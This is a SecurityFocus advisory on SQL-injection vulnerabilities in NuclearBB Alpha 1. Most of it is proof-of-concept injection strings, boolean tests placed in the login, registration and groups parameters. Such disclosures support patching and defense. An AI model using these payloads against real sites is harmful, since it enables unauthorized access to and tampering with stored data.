source: https://www.securityfocus.com/bid/23555/info NuclearBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. These issues affect NuclearBB Alpha 1; other versions may also be affected. ============= String Inputs ============= ---------------------------- login.php - $_POST['submit'] ---------------------------- username=xyz password=passxyz submit=Login"+and+"1"="0 -------------------------------- register.php - $_POST['website'] -------------------------------- username=xyz@xyz.com email=xyz@xyz.com pass1=passwordxyz pass2=passwordxyz website=xyz@xyz.com"+and+"1"="0 location=xyz@xyz.com msn=xyz@xyz.com yahoo=xyz@xyz.com aol=xyz@xyz.com icq=xyz@xyz.com signature=xyz@xyz.com coppa_state=over register_submit=Register ---------------------------- register.php - $_POST['aol'] ---------------------------- username=xyz@xyz.com email=xyz@xyz.com pass1=xyz@xyz.com pass2=xyz@xyz.com website=xyz@xyz.com location=xyz@xyz.com msn=xyz@xyz.com yahoo=xyz@xyz.com aol=xyz@xyz.com"+and+"1"="0 icq=xyz@xyz.com signature=xyz@xyz.com coppa_state=over register_submit=Register ---------------------------------- register.php - $_POST['signature'] ---------------------------------- username=xyz@xyz.com email=xyz@xyz.com pass1=xyz@xyz.com pass2=xyz@xyz.com website=xyz@xyz.com location=xyz@xyz.com msn=xyz@xyz.com yahoo=xyz@xyz.com aol=xyz@xyz.com icq=xyz@xyz.com signature=xyz@xyz.com"+and+"1"="0 coppa_state=over register_submit=Register ============== Numeric Inputs ============== ----------------------- groups.php - $_GET['g'] ----------------------- http://www.example.com/groups.php?g=1+and+1=0 ------------------------------ register.php - $_POST['email'] ------------------------------ username=xyz@xyz.com email=xyz@xyz.com+and+1=0 pass1=xyz@xyz.com pass2=xyz@xyz.com website=xyz@xyz.com location=xyz@xyz.com msn=xyz@xyz.com yahoo=xyz@xyz.com aol=xyz@xyz.com icq=xyz@xyz.com signature=xyz@xyz.com coppa_state=over®ister_submit=Register